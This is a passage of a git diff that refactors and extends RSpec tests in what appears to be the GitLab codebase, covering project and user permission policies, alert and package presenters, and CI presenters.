@@ -283,8 +197,8 @@ RSpec.describe ProjectPolicy do
end
end
- context 'when user is some other user' do
- subject { described_class.new(other_user, project) }
+ context 'when user is non-member' do
+ let(:current_user) { non_member }
context 'when access level is private' do
before do
@@ -314,7 +228,7 @@ RSpec.describe ProjectPolicy do
context 'when a public project has merge requests allowing access' do
include ProjectForksHelper
- let(:user) { create(:user) }
+ let(:current_user) { create(:user) }
let(:target_project) { create(:project, :public) }
let(:project) { fork_project(target_project) }
let!(:merge_request) do
@@ -330,20 +244,18 @@ RSpec.describe ProjectPolicy do
%w(create_build create_pipeline)
end
- subject { described_class.new(user, project) }
-
it 'does not allow pushing code' do
expect_disallowed(*maintainer_abilities)
end
it 'allows pushing if the user is a member with push access to the target project' do
- target_project.add_developer(user)
+ target_project.add_developer(current_user)
expect_allowed(*maintainer_abilities)
end
it 'disallows abilities to a maintainer if the merge request was closed' do
- target_project.add_developer(user)
+ target_project.add_developer(current_user)
merge_request.close!
expect_disallowed(*maintainer_abilities)
@@ -351,12 +263,9 @@ RSpec.describe ProjectPolicy do
end
it_behaves_like 'clusterable policies' do
- let(:clusterable) { create(:project, :repository) }
- let(:cluster) do
- create(:cluster,
- :provided_by_gcp,
- :project,
- projects: [clusterable])
+ let_it_be(:clusterable) { create(:project, :repository) }
+ let_it_be(:cluster) do
+ create(:cluster, :provided_by_gcp, :project, projects: [clusterable])
end
end
@@ -427,16 +336,14 @@ RSpec.describe ProjectPolicy do
end
context 'forking a project' do
- subject { described_class.new(current_user, project) }
-
context 'anonymous user' do
- let(:current_user) { nil }
+ let(:current_user) { anonymous }
it { is_expected.to be_disallowed(:fork_project) }
end
context 'project member' do
- let_it_be(:project) { create(:project, :private) }
+ let(:project) { private_project }
context 'guest' do
let(:current_user) { guest }
@@ -455,10 +362,8 @@ RSpec.describe ProjectPolicy do
end
describe 'update_max_artifacts_size' do
- subject { described_class.new(current_user, project) }
-
context 'when no user' do
- let(:current_user) { nil }
+ let(:current_user) { anonymous }
it { expect_disallowed(:update_max_artifacts_size) }
end
@@ -487,12 +392,10 @@ RSpec.describe ProjectPolicy do
context 'alert bot' do
let(:current_user) { User.alert_bot }
- subject { described_class.new(current_user, project) }
-
it { is_expected.to be_allowed(:reporter_access) }
context 'within a private project' do
- let(:project) { create(:project, :private) }
+ let(:project) { private_project }
it { is_expected.to be_allowed(:admin_issue) }
end
@@ -501,8 +404,6 @@ RSpec.describe ProjectPolicy do
context 'support bot' do
let(:current_user) { User.support_bot }
- subject { described_class.new(current_user, project) }
-
context 'with service desk disabled' do
it { expect_allowed(:guest_access) }
it { expect_disallowed(:create_note, :read_project) }
@@ -526,8 +427,6 @@ RSpec.describe ProjectPolicy do
end
describe 'read_prometheus_alerts' do
- subject { described_class.new(current_user, project) }
-
context 'with admin' do
let(:current_user) { admin }
@@ -571,17 +470,15 @@ RSpec.describe ProjectPolicy do
end
context 'with anonymous' do
- let(:current_user) { nil }
+ let(:current_user) { anonymous }
it { is_expected.to be_disallowed(:read_prometheus_alerts) }
end
end
describe 'metrics_dashboard feature' do
- subject { described_class.new(current_user, project) }
-
context 'public project' do
- let(:project) { create(:project, :public) }
+ let(:project) { public_project }
context 'feature private' do
context 'with reporter' do
@@ -601,7 +498,7 @@ RSpec.describe ProjectPolicy do
end
context 'with anonymous' do
- let(:current_user) { nil }
+ let(:current_user) { anonymous }
it { is_expected.to be_disallowed(:metrics_dashboard) }
end
@@ -633,7 +530,7 @@ RSpec.describe ProjectPolicy do
end
context 'with anonymous' do
- let(:current_user) { nil }
+ let(:current_user) { anonymous }
it { is_expected.to be_allowed(:metrics_dashboard) }
it { is_expected.to be_allowed(:read_prometheus) }
@@ -645,7 +542,7 @@ RSpec.describe ProjectPolicy do
end
context 'internal project' do
- let(:project) { create(:project, :internal) }
+ let(:project) { internal_project }
context 'feature private' do
context 'with reporter' do
@@ -665,7 +562,7 @@ RSpec.describe ProjectPolicy do
end
context 'with anonymous' do
- let(:current_user) { nil }
+ let(:current_user) { anonymous }
it { is_expected.to be_disallowed(:metrics_dashboard)}
end
@@ -697,7 +594,7 @@ RSpec.describe ProjectPolicy do
end
context 'with anonymous' do
- let(:current_user) { nil }
+ let(:current_user) { anonymous }
it { is_expected.to be_disallowed(:metrics_dashboard) }
end
@@ -705,7 +602,7 @@ RSpec.describe ProjectPolicy do
end
context 'private project' do
- let(:project) { create(:project, :private) }
+ let(:project) { private_project }
context 'feature private' do
context 'with reporter' do
@@ -725,7 +622,7 @@ RSpec.describe ProjectPolicy do
end
context 'with anonymous' do
- let(:current_user) { nil }
+ let(:current_user) { anonymous }
it { is_expected.to be_disallowed(:metrics_dashboard) }
end
@@ -749,7 +646,7 @@ RSpec.describe ProjectPolicy do
end
context 'with anonymous' do
- let(:current_user) { nil }
+ let(:current_user) { anonymous }
it { is_expected.to be_disallowed(:metrics_dashboard) }
end
@@ -774,7 +671,7 @@ RSpec.describe ProjectPolicy do
end
context 'with anonymous' do
- let(:current_user) { nil }
+ let(:current_user) { anonymous }
it { is_expected.to be_disallowed(:metrics_dashboard) }
end
@@ -806,8 +703,6 @@ RSpec.describe ProjectPolicy do
end
describe 'create_web_ide_terminal' do
- subject { described_class.new(current_user, project) }
-
context 'with admin' do
let(:current_user) { admin }
@@ -851,20 +746,20 @@ RSpec.describe ProjectPolicy do
end
context 'with non member' do
- let(:current_user) { create(:user) }
+ let(:current_user) { non_member }
it { is_expected.to be_disallowed(:create_web_ide_terminal) }
end
context 'with anonymous' do
- let(:current_user) { nil }
+ let(:current_user) { anonymous }
it { is_expected.to be_disallowed(:create_web_ide_terminal) }
end
end
describe 'read_repository_graphs' do
- subject { described_class.new(guest, project) }
+ let(:current_user) { guest }
before do
allow(subject).to receive(:allowed?).with(:read_repository_graphs).and_call_original
@@ -885,7 +780,7 @@ RSpec.describe ProjectPolicy do
end
describe 'design permissions' do
- subject { described_class.new(guest, project) }
+ let(:current_user) { guest }
let(:design_permissions) do
%i[read_design_activity read_design]
@@ -907,7 +802,7 @@ RSpec.describe ProjectPolicy do
end
describe 'read_build_report_results' do
- subject { described_class.new(guest, project) }
+ let(:current_user) { guest }
before do
allow(subject).to receive(:allowed?).with(:read_build_report_results).and_call_original
@@ -945,8 +840,6 @@ RSpec.describe ProjectPolicy do
end
describe 'read_package' do
- subject { described_class.new(current_user, project) }
-
context 'with admin' do
let(:current_user) { admin }
@@ -997,15 +890,55 @@ RSpec.describe ProjectPolicy do
end
context 'with non member' do
- let(:current_user) { create(:user) }
+ let(:current_user) { non_member }
it { is_expected.to be_allowed(:read_package) }
end
context 'with anonymous' do
- let(:current_user) { nil }
+ let(:current_user) { anonymous }
it { is_expected.to be_allowed(:read_package) }
end
end
+
+ describe 'read_feature_flag' do
+ subject { described_class.new(current_user, project) }
+
+ context 'with maintainer' do
+ let(:current_user) { maintainer }
+
+ context 'when repository is available' do
+ it { is_expected.to be_allowed(:read_feature_flag) }
+ end
+
+ context 'when repository is disabled' do
+ before do
+ project.project_feature.update!(
+ merge_requests_access_level: ProjectFeature::DISABLED,
+ builds_access_level: ProjectFeature::DISABLED,
+ repository_access_level: ProjectFeature::DISABLED
+ )
+ end
+
+ it { is_expected.to be_disallowed(:read_feature_flag) }
+ end
+ end
+
+ context 'with developer' do
+ let(:current_user) { developer }
+
+ context 'when repository is available' do
+ it { is_expected.to be_allowed(:read_feature_flag) }
+ end
+ end
+
+ context 'with reporter' do
+ let(:current_user) { reporter }
+
+ context 'when repository is available' do
+ it { is_expected.to be_disallowed(:read_feature_flag) }
+ end
+ end
+ end
end
diff --git a/spec/policies/user_policy_spec.rb b/spec/policies/user_policy_spec.rb
index d7338622c86..38641558b6b 100644
--- a/spec/policies/user_policy_spec.rb
+++ b/spec/policies/user_policy_spec.rb
@@ -82,4 +82,24 @@ RSpec.describe UserPolicy do
describe "updating a user" do
it_behaves_like 'changing a user', :update_user
end
+
+ describe 'disabling two-factor authentication' do
+ context 'disabling their own two-factor authentication' do
+ let(:user) { current_user }
+
+ it { is_expected.to be_allowed(:disable_two_factor) }
+ end
+
+ context 'disabling the two-factor authentication of another user' do
+ context 'when the executor is an admin', :enable_admin_mode do
+ let(:current_user) { create(:user, :admin) }
+
+ it { is_expected.to be_allowed(:disable_two_factor) }
+ end
+
+ context 'when the executor is not an admin' do
+ it { is_expected.not_to be_allowed(:disable_two_factor) }
+ end
+ end
+ end
end
diff --git a/spec/presenters/alert_management/alert_presenter_spec.rb b/spec/presenters/alert_management/alert_presenter_spec.rb
index 394007a802f..243301502ce 100644
--- a/spec/presenters/alert_management/alert_presenter_spec.rb
+++ b/spec/presenters/alert_management/alert_presenter_spec.rb
@@ -4,58 +4,117 @@ require 'spec_helper'
RSpec.describe AlertManagement::AlertPresenter do
let_it_be(:project) { create(:project) }
-
- let_it_be(:generic_payload) do
+ let_it_be(:payload) do
{
'title' => 'Alert title',
'start_time' => '2020-04-27T10:10:22.265949279Z',
- 'custom' => { 'param' => 73 },
- 'runbook' => 'https://runbook.com'
+ 'custom' => {
+ 'alert' => {
+ 'fields' => %w[one two]
+ }
+ },
+ 'yet' => {
+ 'another' => 73
+ }
}
end
- let_it_be(:alert) do
- create(:alert_management_alert, :with_description, :with_host, :with_service, :with_monitoring_tool, project: project, payload: generic_payload)
- end
-
+ let_it_be(:alert) { create(:alert_management_alert, project: project, payload: payload) }
let(:alert_url) { "http://localhost/#{project.full_path}/-/alert_management/#{alert.iid}/details" }
subject(:presenter) { described_class.new(alert) }
describe '#issue_description' do
+ let_it_be(:alert) { create(:alert_management_alert, project: project, payload: {}) }
+
let(:markdown_line_break) { ' ' }
- it 'returns an alert issue description' do
- expect(presenter.issue_description).to eq(
- <<~MARKDOWN.chomp
- #### Summary
+ subject { presenter.issue_description }
- **Start time:** #{presenter.start_time}#{markdown_line_break}
- **Severity:** #{presenter.severity}#{markdown_line_break}
- **Service:** #{alert.service}#{markdown_line_break}
- **Monitoring tool:** #{alert.monitoring_tool}#{markdown_line_break}
- **Hosts:** #{alert.hosts.join(' ')}#{markdown_line_break}
- **Description:** #{alert.description}#{markdown_line_break}
- **GitLab alert:** #{alert_url}
+ context 'with an empty payload' do
+ it do
+ is_expected.to eq(
+ <<~MARKDOWN.chomp
+ **Start time:** #{presenter.start_time}#{markdown_line_break}
+ **Severity:** #{presenter.severity}#{markdown_line_break}
+ **GitLab alert:** #{alert_url}
- #### Alert Details
+ MARKDOWN
+ )
+ end
+ end
- **custom.param:** 73#{markdown_line_break}
- **runbook:** https://runbook.com
- MARKDOWN
- )
+ context 'with optional alert attributes' do
+ let_it_be(:alert) do
+ create(:alert_management_alert, :with_description, :with_host, :with_service, :with_monitoring_tool, project: project, payload: payload)
+ end
+
+ before do
+ allow(alert.parsed_payload).to receive(:full_query).and_return('metric > 1')
+ end
+
+ it do
+ is_expected.to eq(
+ <<~MARKDOWN.chomp
+ **Start time:** #{presenter.start_time}#{markdown_line_break}
+ **Severity:** #{presenter.severity}#{markdown_line_break}
+ **full_query:** `metric > 1`#{markdown_line_break}
+ **Service:** #{alert.service}#{markdown_line_break}
+ **Monitoring tool:** #{alert.monitoring_tool}#{markdown_line_break}
+ **Hosts:** #{alert.hosts.join(' ')}#{markdown_line_break}
+ **Description:** #{alert.description}#{markdown_line_break}
+ **GitLab alert:** #{alert_url}
+
+ MARKDOWN
+ )
+ end
end
- end
- describe '#metrics_dashboard_url' do
- it 'is not defined' do
- expect(presenter.metrics_dashboard_url).to be_nil
+ context 'with incident markdown' do
+ before do
+ allow(alert.parsed_payload).to receive(:alert_markdown).and_return('**`markdown example`**')
+ end
+
+ it do
+ is_expected.to eq(
+ <<~MARKDOWN.chomp
+ **Start time:** #{presenter.start_time}#{markdown_line_break}
+ **Severity:** #{presenter.severity}#{markdown_line_break}
+ **GitLab alert:** #{alert_url}
+
+
+ ---
+
+ **`markdown example`**
+ MARKDOWN
+ )
+ end
+ end
+
+ context 'with metrics_dashboard_url' do
+ before do
+ allow(alert.parsed_payload).to receive(:metrics_dashboard_url).and_return('https://gitlab.com/metrics')
+ end
+
+ it do
+ is_expected.to eq(
+ <<~MARKDOWN.chomp
+ **Start time:** #{presenter.start_time}#{markdown_line_break}
+ **Severity:** #{presenter.severity}#{markdown_line_break}
+ **GitLab alert:** #{alert_url}
+
+ [](https://gitlab.com/metrics)
+ MARKDOWN
+ )
+ end
end
end
- describe '#runbook' do
- it 'shows the runbook from the payload' do
- expect(presenter.runbook).to eq('https://runbook.com')
+ describe '#start_time' do
+ it 'formats the start time of the alert' do
+ alert.started_at = Time.utc(2019, 5, 5)
+
+ expect(presenter.start_time). to eq('05 May 2019, 12:00AM (UTC)')
end
end
@@ -64,4 +123,17 @@ RSpec.describe AlertManagement::AlertPresenter do
expect(presenter.details_url).to match(%r{#{project.web_url}/-/alert_management/#{alert.iid}/details})
end
end
+
+ describe '#details' do
+ subject { presenter.details }
+
+ it 'renders the payload as inline hash' do
+ is_expected.to eq(
+ 'title' => 'Alert title',
+ 'start_time' => '2020-04-27T10:10:22.265949279Z',
+ 'custom.alert.fields' => %w[one two],
+ 'yet.another' => 73
+ )
+ end
+ end
end
diff --git a/spec/presenters/alert_management/prometheus_alert_presenter_spec.rb b/spec/presenters/alert_management/prometheus_alert_presenter_spec.rb
deleted file mode 100644
index 3cfff3c1b2f..00000000000
--- a/spec/presenters/alert_management/prometheus_alert_presenter_spec.rb
+++ /dev/null
@@ -1,85 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe AlertManagement::PrometheusAlertPresenter do
- let_it_be(:project) { create(:project) }
- let(:payload) do
- {
- 'annotations' => {
- 'title' => 'Alert title',
- 'gitlab_incident_markdown' => '**`markdown example`**',
- 'custom annotation' => 'custom annotation value'
- },
- 'startsAt' => '2020-04-27T10:10:22.265949279Z',
- 'generatorURL' => 'http://8d467bd4607a:9090/graph?g0.expr=vector%281%29&g0.tab=1'
- }
- end
-
- let!(:alert) do
- create(:alert_management_alert, :prometheus, project: project, payload: payload)
- end
-
- let(:alert_url) { "http://localhost/#{project.full_path}/-/alert_management/#{alert.iid}/details" }
-
- subject(:presenter) { described_class.new(alert) }
-
- describe '#issue_description' do
- let(:markdown_line_break) { ' ' }
-
- it 'returns an alert issue description' do
- expect(presenter.issue_description).to eq(
- <<~MARKDOWN.chomp
- #### Summary
-
- **Start time:** #{presenter.start_time}#{markdown_line_break}
- **Severity:** #{presenter.severity}#{markdown_line_break}
- **full_query:** `vector(1)`#{markdown_line_break}
- **Monitoring tool:** Prometheus#{markdown_line_break}
- **GitLab alert:** #{alert_url}
-
- #### Alert Details
-
- **custom annotation:** custom annotation value
-
- ---
-
- **`markdown example`**
- MARKDOWN
- )
- end
- end
-
- describe '#metrics_dashboard_url' do
- subject { presenter.metrics_dashboard_url }
-
- context 'for a non-prometheus alert' do
- it { is_expected.to be_nil }
- end
-
- context 'for a self-managed prometheus alert' do
- include_context 'self-managed prometheus alert attributes'
-
- it { is_expected.to eq(dashboard_url_for_alert) }
- end
-
- context 'for a gitlab-managed prometheus alert' do
- include_context 'gitlab-managed prometheus alert attributes'
-
- it { is_expected.to eq(dashboard_url_for_alert) }
- end
- end
-
- describe '#runbook' do
- subject { presenter.runbook }
-
- it { is_expected.to be_nil }
-
- context 'with runbook in payload' do
- let(:expected_runbook) { 'https://awesome-runbook.com' }
- let(:payload) { { 'annotations' => { 'runbook' => expected_runbook } } }
-
- it { is_expected.to eq(expected_runbook) }
- end
- end
-end
diff --git a/spec/presenters/ci/build_presenter_spec.rb b/spec/presenters/ci/build_presenter_spec.rb
index 8d302b242b3..1ff2ea3d225 100644
--- a/spec/presenters/ci/build_presenter_spec.rb
+++ b/spec/presenters/ci/build_presenter_spec.rb
@@ -228,7 +228,7 @@ RSpec.describe Ci::BuildPresenter do
let(:build) { create(:ci_build, :scheduled) }
it 'returns execution time' do
- Timecop.freeze do
+ freeze_time do
is_expected.to be_like_time(60.0)
end
end
@@ -238,7 +238,7 @@ RSpec.describe Ci::BuildPresenter do
let(:build) { create(:ci_build, :expired_scheduled) }
it 'returns execution time' do
- Timecop.freeze do
+ freeze_time do
is_expected.to eq(0)
end
end
@@ -249,7 +249,7 @@ RSpec.describe Ci::BuildPresenter do
let(:build) { create(:ci_build) }
it 'does not return execution time' do
- Timecop.freeze do
+ freeze_time do
is_expected.to be_falsy
end
end
diff --git a/spec/presenters/ci/pipeline_artifacts/code_coverage_presenter_spec.rb b/spec/presenters/ci/pipeline_artifacts/code_coverage_presenter_spec.rb
new file mode 100644
index 00000000000..e679f5fa144
--- /dev/null
+++ b/spec/presenters/ci/pipeline_artifacts/code_coverage_presenter_spec.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::PipelineArtifacts::CodeCoveragePresenter do
+ let(:pipeline_artifact) { create(:ci_pipeline_artifact, :with_code_coverage_with_multiple_files) }
+
+ subject(:presenter) { described_class.new(pipeline_artifact) }
+
+ describe '#for_files' do
+ subject { presenter.for_files(filenames) }
+
+ context 'when code coverage has data' do
+ context 'when filenames is empty' do
+ let(:filenames) { %w() }
+
+ it 'returns hash without coverage' do
+ expect(subject).to match(files: {})
+ end
+ end
+
+ context 'when filenames do not match code coverage data' do
+ let(:filenames) { %w(demo.rb) }
+
+ it 'returns hash without coverage' do
+ expect(subject).to match(files: {})
+ end
+ end
+
+ context 'when filenames matches code coverage data' do
+ context 'when asking for one filename' do
+ let(:filenames) { %w(file_a.rb) }
+
+ it 'returns coverage for the given filename' do
+ expect(subject).to match(files: { "file_a.rb" => { "1" => 1, "2" => 1, "3" => 1 } })
+ end
+ end
+
+ context 'when asking for multiple filenames' do
+ let(:filenames) { %w(file_a.rb file_b.rb) }
+
+ it 'returns coverage for a the given filenames' do
+ expect(subject).to match(
+ files: {
+ "file_a.rb" => {
+ "1" => 1,
+ "2" => 1,
+ "3" => 1
+ },
+ "file_b.rb" => {
+ "1" => 0,
+ "2" => 0,
+ "3" => 0
+ }
+ }
+ )
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/presenters/ci/pipeline_presenter_spec.rb b/spec/presenters/ci/pipeline_presenter_spec.rb
index 158daad97f5..18f79bc930c 100644
--- a/spec/presenters/ci/pipeline_presenter_spec.rb
+++ b/spec/presenters/ci/pipeline_presenter_spec.rb
@@ -65,7 +65,7 @@ RSpec.describe Ci::PipelinePresenter do
describe '#failure_reason' do
context 'when pipeline has a failure reason' do
- ::Ci::PipelineEnums.failure_reasons.keys.each do |failure_reason|
+ Enums::Ci::Pipeline.failure_reasons.keys.each do |failure_reason|
context "when failure reason is #{failure_reason}" do
before do
pipeline.failure_reason = failure_reason
diff --git a/spec/presenters/clusters/cluster_presenter_spec.rb b/spec/presenters/clusters/cluster_presenter_spec.rb
index e99b04fda8d..2d38c91499a 100644
--- a/spec/presenters/clusters/cluster_presenter_spec.rb
+++ b/spec/presenters/clusters/cluster_presenter_spec.rb
@@ -264,7 +264,7 @@ RSpec.describe Clusters::ClusterPresenter do
it do
is_expected.to include('clusters-path': clusterable_presenter.index_path,
'dashboard-endpoint': clusterable_presenter.metrics_dashboard_path(cluster),
- 'documentation-path': help_page_path('user/project/clusters/index', anchor: 'monitoring-your-kubernetes-cluster-ultimate'),
+ 'documentation-path': help_page_path('user/project/clusters/index', anchor: 'monitoring-your-kubernetes-cluster'),
'add-dashboard-documentation-path': help_page_path('operations/metrics/dashboards/index.md', anchor: 'add-a-new-dashboard-to-your-project'),
'empty-getting-started-svg-path': match_asset_path('/assets/illustrations/monitoring/getting_started.svg'),
'empty-loading-svg-path': match_asset_path('/assets/illustrations/monitoring/loading.svg'),
diff --git a/spec/presenters/dev_ops_report/metric_presenter_spec.rb b/spec/presenters/dev_ops_report/metric_presenter_spec.rb
new file mode 100644
index 00000000000..306b5592c33
--- /dev/null
+++ b/spec/presenters/dev_ops_report/metric_presenter_spec.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe DevOpsReport::MetricPresenter do
+ subject { described_class.new(metric) }
+
+ let(:metric) { build(:dev_ops_report_metric) }
+
+ describe '#cards' do
+ it 'includes instance score, leader score and percentage score' do
+ issues_card = subject.cards.first
+
+ expect(issues_card.instance_score).to eq(1.234)
+ expect(issues_card.leader_score).to eq(9.256)
+ expect(issues_card.percentage_score).to eq(13.331)
+ end
+ end
+
+ describe '#idea_to_production_steps' do
+ it 'returns percentage score when it depends on a single feature' do
+ code_step = subject.idea_to_production_steps.fourth
+
+ expect(code_step.percentage_score).to be_within(0.1).of(50.0)
+ end
+
+ it 'returns percentage score when it depends on two features' do
+ issue_step = subject.idea_to_production_steps.second
+
+ expect(issue_step.percentage_score).to be_within(0.1).of(53.0)
+ end
+ end
+
+ describe '#average_percentage_score' do
+ it 'calculates an average value across all the features' do
+ expect(subject.average_percentage_score).to be_within(0.1).of(55.8)
+ end
+ end
+end
diff --git a/spec/presenters/dev_ops_score/metric_presenter_spec.rb b/spec/presenters/dev_ops_score/metric_presenter_spec.rb
deleted file mode 100644
index 8b7b2c88578..00000000000
--- a/spec/presenters/dev_ops_score/metric_presenter_spec.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe DevOpsScore::MetricPresenter do
- subject { described_class.new(metric) }
-
- let(:metric) { build(:dev_ops_score_metric) }
-
- describe '#cards' do
- it 'includes instance score, leader score and percentage score' do
- issues_card = subject.cards.first
-
- expect(issues_card.instance_score).to eq(1.234)
- expect(issues_card.leader_score).to eq(9.256)
- expect(issues_card.percentage_score).to eq(13.331)
- end
- end
-
- describe '#idea_to_production_steps' do
- it 'returns percentage score when it depends on a single feature' do
- code_step = subject.idea_to_production_steps.fourth
-
- expect(code_step.percentage_score).to be_within(0.1).of(50.0)
- end
-
- it 'returns percentage score when it depends on two features' do
- issue_step = subject.idea_to_production_steps.second
-
- expect(issue_step.percentage_score).to be_within(0.1).of(53.0)
- end
- end
-
- describe '#average_percentage_score' do
- it 'calculates an average value across all the features' do
- expect(subject.average_percentage_score).to be_within(0.1).of(55.8)
- end
- end
-end
diff --git a/spec/presenters/packages/conan/package_presenter_spec.rb b/spec/presenters/packages/conan/package_presenter_spec.rb
index 3bc649c5da4..4e8af752f3e 100644
--- a/spec/presenters/packages/conan/package_presenter_spec.rb
+++ b/spec/presenters/packages/conan/package_presenter_spec.rb
@@ -4,34 +4,39 @@ require 'spec_helper'
RSpec.describe ::Packages::Conan::PackagePresenter do
let_it_be(:user) { create(:user) }
- let_it_be(:project) { create(:project) }
+ let_it_be(:package) { create(:conan_package) }
+ let_it_be(:project) { package.project }
let_it_be(:conan_package_reference) { '123456789'}
+ let(:params) { { package_scope: :instance } }
- RSpec.shared_examples 'not selecting a package with the wrong type' do
- context 'with a nuget package with same name and version' do
- let_it_be(:wrong_package) { create(:nuget_package, name: 'wrong', version: '1.0.0', project: project) }
-
- let(:recipe) { "#{wrong_package.name}/#{wrong_package.version}" }
+ shared_examples 'no existing package' do
+ context 'when package does not exist' do
+ let(:package) { nil }
it { is_expected.to be_empty }
end
end
- describe '#recipe_urls' do
- subject { described_class.new(recipe, user, project).recipe_urls }
-
- context 'no existing package' do
- let(:recipe) { "my-pkg/v1.0.0/#{project.full_path}/stable" }
+ shared_examples 'conan_file_metadatum is not found' do
+ context 'when no conan_file_metadatum exists' do
+ before do
+ package.package_files.each do |file|
+ file.conan_file_metadatum.delete
+ file.reload
+ end
+ end
it { is_expected.to be_empty }
end
+ end
- it_behaves_like 'not selecting a package with the wrong type'
+ describe '#recipe_urls' do
+ subject { described_class.new(package, user, project, params).recipe_urls }
- context 'existing package' do
- let(:package) { create(:conan_package, project: project) }
- let(:recipe) { package.conan_recipe }
+ it_behaves_like 'no existing package'
+ it_behaves_like 'conan_file_metadatum is not found'
+ context 'existing package' do
let(:expected_result) do
{
"conanfile.py" => "#{Settings.build_base_gitlab_url}/api/v4/packages/conan/v1/files/#{package.conan_recipe_path}/0/export/conanfile.py",
@@ -40,24 +45,37 @@ RSpec.describe ::Packages::Conan::PackagePresenter do
end
it { is_expected.to eq(expected_result) }
- end
- end
- describe '#recipe_snapshot' do
- subject { described_class.new(recipe, user, project).recipe_snapshot }
+ context 'when there are multiple channels for the same package' do
+ let(:conan_metadatum) { create(:conan_metadatum, package_channel: 'newest' ) }
+ let!(:newest_package) { create(:conan_package, name: package.name, version: package.version, project: project, conan_metadatum: conan_metadatum) }
+
+ it { is_expected.to eq(expected_result) }
+ end
- context 'no existing package' do
- let(:recipe) { "my-pkg/v1.0.0/#{project.full_path}/stable" }
+ context 'with package_scope of project' do
+ # #recipe_file_url checks for params[:id]
+ let(:params) { { id: project.id } }
- it { is_expected.to be_empty }
+ let(:expected_result) do
+ {
+ "conanfile.py" => "#{Settings.build_base_gitlab_url}/api/v4/projects/#{project.id}/packages/conan/v1/files/#{package.conan_recipe_path}/0/export/conanfile.py",
+ "conanmanifest.txt" => "#{Settings.build_base_gitlab_url}/api/v4/projects/#{project.id}/packages/conan/v1/files/#{package.conan_recipe_path}/0/export/conanmanifest.txt"
+ }
+ end
+
+ it { is_expected.to eq(expected_result) }
+ end
end
+ end
- it_behaves_like 'not selecting a package with the wrong type'
+ describe '#recipe_snapshot' do
+ subject { described_class.new(package, user, project).recipe_snapshot }
- context 'existing package' do
- let(:package) { create(:conan_package, project: project) }
- let(:recipe) { package.conan_recipe }
+ it_behaves_like 'no existing package'
+ it_behaves_like 'conan_file_metadatum is not found'
+ context 'existing package' do
let(:expected_result) do
{
"conanfile.py" => '12345abcde',
@@ -72,24 +90,23 @@ RSpec.describe ::Packages::Conan::PackagePresenter do
describe '#package_urls' do
let(:reference) { conan_package_reference }
+ let(:params) do
+ {
+ conan_package_reference: reference,
+ package_scope: :instance
+ }
+ end
+
subject do
described_class.new(
- recipe, user, project, conan_package_reference: reference
+ package, user, project, params
).package_urls
end
- context 'no existing package' do
- let(:recipe) { "my-pkg/v1.0.0/#{project.full_path}/stable" }
-
- it { is_expected.to be_empty }
- end
-
- it_behaves_like 'not selecting a package with the wrong type'
+ it_behaves_like 'no existing package'
+ it_behaves_like 'conan_file_metadatum is not found'
context 'existing package' do
- let(:package) { create(:conan_package, project: project) }
- let(:recipe) { package.conan_recipe }
-
let(:expected_result) do
{
"conaninfo.txt" => "#{Settings.build_base_gitlab_url}/api/v4/packages/conan/v1/files/#{package.conan_recipe_path}/0/package/#{conan_package_reference}/0/conaninfo.txt",
@@ -100,6 +117,26 @@ RSpec.describe ::Packages::Conan::PackagePresenter do
it { is_expected.to eq(expected_result) }
+ context 'with package_scope of project' do
+ # #package_file_url checks for params[:id]
+ let(:params) do
+ {
+ conan_package_reference: reference,
+ id: project.id
+ }
+ end
+
+ let(:expected_result) do
+ {
+ "conaninfo.txt" => "#{Settings.build_base_gitlab_url}/api/v4/projects/#{project.id}/packages/conan/v1/files/#{package.conan_recipe_path}/0/package/#{conan_package_reference}/0/conaninfo.txt",
+ "conanmanifest.txt" => "#{Settings.build_base_gitlab_url}/api/v4/projects/#{project.id}/packages/conan/v1/files/#{package.conan_recipe_path}/0/package/#{conan_package_reference}/0/conanmanifest.txt",
+ "conan_package.tgz" => "#{Settings.build_base_gitlab_url}/api/v4/projects/#{project.id}/packages/conan/v1/files/#{package.conan_recipe_path}/0/package/#{conan_package_reference}/0/conan_package.tgz"
+ }
+ end
+
+ it { is_expected.to eq(expected_result) }
+ end
+
context 'multiple packages with different references' do
let(:info_file) { create(:conan_package_file, :conan_package_info, package: package) }
let(:manifest_file) { create(:conan_package_file, :conan_package_manifest, package: package) }
@@ -131,7 +168,7 @@ RSpec.describe ::Packages::Conan::PackagePresenter do
it 'returns empty if the reference does not exist' do
result = described_class.new(
- recipe, user, project, conan_package_reference: 'doesnotexist'
+ package, user, project, conan_package_reference: 'doesnotexist'
).package_urls
expect(result).to eq({})
@@ -145,22 +182,14 @@ RSpec.describe ::Packages::Conan::PackagePresenter do
subject do
described_class.new(
- recipe, user, project, conan_package_reference: reference
+ package, user, project, conan_package_reference: reference
).package_snapshot
end
- context 'no existing package' do
- let(:recipe) { "my-pkg/v1.0.0/#{project.full_path}/stable" }
-
- it { is_expected.to be_empty }
- end
-
- it_behaves_like 'not selecting a package with the wrong type'
+ it_behaves_like 'no existing package'
+ it_behaves_like 'conan_file_metadatum is not found'
context 'existing package' do
- let(:package) { create(:conan_package, project: project) }
- let(:recipe) { package.conan_recipe }
-
let(:expected_result) do
{
"conaninfo.txt" => '12345abcde',
diff --git a/spec/presenters/packages/nuget/search_results_presenter_spec.rb b/spec/presenters/packages/nuget/search_results_presenter_spec.rb
index 29ec8579dc1..fed20c8e39d 100644
--- a/spec/presenters/packages/nuget/search_results_presenter_spec.rb
+++ b/spec/presenters/packages/nuget/search_results_presenter_spec.rb
@@ -37,7 +37,7 @@ RSpec.describe Packages::Nuget::SearchResultsPresenter do
expect(package_json[:summary]).to be_blank
expect(package_json[:total_downloads]).to eq 0
expect(package_json[:verified]).to be
- expect(package_json[:version]).to eq VersionSorter.sort(versions).last # rubocop: disable Style/UnneededSort
+ expect(package_json[:version]).to eq VersionSorter.sort(versions).last # rubocop: disable Style/RedundantSort
versions.zip(package_json[:versions]).each do |version, version_json|
expect(version_json[:json_url]).to end_with("#{version}.json")
expect(version_json[:downloads]).to eq 0
diff --git a/spec/presenters/projects/prometheus/alert_presenter_spec.rb b/spec/presenters/projects/prometheus/alert_presenter_spec.rb
index 2d58a7f2cfa..98dba28829e 100644
--- a/spec/presenters/projects/prometheus/alert_presenter_spec.rb
+++ b/spec/presenters/projects/prometheus/alert_presenter_spec.rb
